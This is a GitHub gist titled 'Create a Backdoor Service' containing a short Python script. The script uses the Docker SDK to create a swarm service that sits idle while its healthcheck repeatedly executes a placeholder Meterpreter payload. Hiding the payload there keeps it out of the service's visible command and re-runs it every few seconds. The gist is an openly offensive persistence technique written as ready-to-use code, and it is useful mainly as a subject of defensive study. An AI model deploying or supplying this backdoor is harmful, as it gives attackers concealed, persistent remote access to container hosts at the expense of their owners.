Skip to content

Instantly share code, notes, and snippets.

@pasknel
Last active June 21, 2019 11:27
Show Gist options
  • Save pasknel/6dfe63e0529503662c52e99aba24f5b3 to your computer and use it in GitHub Desktop.
Save pasknel/6dfe63e0529503662c52e99aba24f5b3 to your computer and use it in GitHub Desktop.
Create a Backdoor Service
import docker
client = docker.from_env()
payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
healthtest = ['CMD', 'python', '-c', payload]
cmd = 'python -c "while True: import time; time.sleep(1)"'
service = client.services.create(
name = 'python',
image = 'python',
command = cmd,
healthcheck = {
"test": healthtest,
"interval": 1000000 * 10 * 1000, # The time to wait between checks in nanoseconds
"timeout": 1000000 * 300 * 1000,
"retries": 3,
"start_period": 1000000 * 5 * 1000
}
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment